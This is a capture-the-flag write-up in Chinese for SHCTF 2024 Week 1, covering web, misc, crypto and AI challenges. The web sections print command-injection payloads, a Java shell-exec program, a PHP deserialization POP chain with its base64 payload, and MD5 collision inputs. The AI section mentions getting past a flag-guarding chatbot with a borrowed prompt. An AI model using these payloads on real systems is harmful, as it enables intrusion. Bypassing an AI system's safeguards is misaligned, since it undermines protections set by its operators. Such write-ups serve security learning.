山河CTF2024-Week1

只写了week1的,后面要么没做要么没写

Week1

Web

单身18年的手速

点击就送flag

点520下就有,但是显然我没那么空 源码里面一翻就找到了base64的flag 解码得到flag

1zflask

robots有什么用呢?

打开容器看见404

根据题目描述可知有个robots.txt

进入发现/s3recttt,进入该路径得app.py

根据观察可知这是该题目的源码
/apiSSHCTFFF参数存在命令执行

尝试执行ls /

执行成功,使用cat /flag获取flag

ez_gittt

什么?竟然有人愿意把自己的秘密公开!!!???

提示说找找看,然后在源码中翻到了这个 一眼git泄露,直接上githack 奇怪的是复现的时候报错了,拉不下来,所以用刚开始做的时候githack下来的再截个图 *于十月八日晚发现问题所在:url掉了/.git/* 查看log找到一个叫Add_flag的commit 然后checkout过去就能拿到flag

蛐蛐?蛐蛐!

尊敬的web手!请帮不想出题的fault蛐蛐某某某某,并将蛐蛐变为现实

进入容器首先做一波信息收集 整合一下得到的信息: `check.php`可以提交参数 而`source.txt`正是`check.php`的源码 根据源码可以得出 第一层if我们只要满足GET中`ququ`参数的字符串弱比较等于`114514`逆转后不等于`415411` 第二层if只要POST上传的`ququ`参数的字符串的前六位是`ququk1`就能执行该命令 第一层使用`114514a`绕过 第二层在`ququk1`后加上分号再执行命令
1
ququ=ququk1;system('ls /');
最后使用cat /flag获取到flag

jvav

vavj

这个题目是要求输入一个java程序而后容器会执行这个程序 我们直接让gpt写一个就好了 但是我们得把gpt写的程序的类名改成和题目文件名一样的`demo`不然会报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class demo {
public static void main(String[] args) {
try {
// 使用 Runtime 类执行 ls 命令
Process process = Runtime.getRuntime().exec("ls /");

// 读取命令的输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();

// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with error code : " + exitCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}

成功执行ls /cat /flag

poppopop

简单的pop

链子如图
<img src=”山河CTF2024/33.jpg)
然后根据链子写出小脚本然后base64编码一下
最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class SH {

public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;

public function flag()
{
($this->p)();
}
}
class T{

public $n;
public function __destruct()
{

SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {

($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
echo "小丑离我远点!!!";
}

$a=new SHCTF();
$a->isyou='system';
$a->flag='cat /flllag';
$a2=new C();
$a2->p=$a;
$b=new F();
$b->o=$a2;
$c=new T();
$c->n=$b;
echo base64_encode(serialize($c));

最后payload如下:

1
TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0
#### MD5 Master > 你是 MD5 大师吗? 强比较再带上前缀的md5绕过 直接用fastcoll撞 把结果url编码一下然后删掉前缀当作参数上传就能得到flag
1
2
a等于MD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%017%F0%A9%B3%FE%B4%86s%7E2%D4%E2%88%7F%E0%3C%11a%D8%29%EDX%BC%19%3Ay%293z%B6%DD%04%F9%BE%D5%7EdM%F9%EB%1B%3AYB%88%1F%2A%9Cu%1E%21%BE%F8D%3A%90c%08X%BA%0C%EA%D23%E9%0C%FF%F1%B8%19%B1%07%E6%9C%5C%22%BF%BC%BD%ED%B0Vl%EE%1C%0F%FEn%EB%DFOKME%C1%F5%85%BD-%04%A5%7Bv%E9%B2%EFxXn%8A%3Di%1C%5C%B3%FD%23%2F%81%BC%10%9D%F5t%AF%26%1F
b等于MD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%017%F0%A9%B3%FE%B4%86s%7E2%D4%E2%88%7F%E0%3C%11aX%29%EDX%BC%19%3Ay%293z%B6%DD%04%F9%BE%D5%7EdM%F9%EB%1B%3AYB%08+%2A%9Cu%1E%21%BE%F8D%3A%90c%08%D8%BA%0C%EA%D23%E9%0C%FF%F1%B8%19%B1%07%E6%9C%5C%22%BF%BC%BD%ED%B0V%EC%EE%1C%0F%FEn%EB%DFOKME%C1%F5%85%BD-%04%A5%7Bv%E9%B2%EFxX%EE%89%3Di%1C%5C%B3%FD%23%2F%81%BC%10%9Dut%AF%26%1F

Misc

拜师之旅①

一年一度的洛琪希美照大赏开始了,正好Nanian233下周要去拜师pngMaster, 参加入门考试. 就拿这个先练练手吧

文件头被扬了,补回去



再改下图片的高

真真假假?遮遮掩掩!

假的就是假的,真的就是真的,遮遮掩掩的有什么用!

个人感觉这个题目有点小抽象
我的解题过程是:修伪加密->binwalk->爆破->拿到密码但是无法解压->把最初的压缩包直接binwalk->拿密码解压


Rasterizing Traffic

Man! What can I say!!!

流量包里最明显的三段flag是假的,除此之外有个png文件
把这个文件下载下来,结合题目名称明显是个光栅题

试用曾哥小工具秒,但是报错了

随手截图发现能跑动,但是结果不符合预期

多跑了几次发现宽高会影响结果

按照原图宽高截图或者用ps直接导出为png就能跑出结果

Crypto

Hello Crypto

直接longtobyte

AI

小助手

这里有一只可爱的小助手,生蚝给了他一个神秘的小flag,你如果忍心抢走flag,ta会受到惩罚的,不要抢走flag好不好/(ㄒoㄒ)/~~

BaseCTF的话术直接秒了

Week2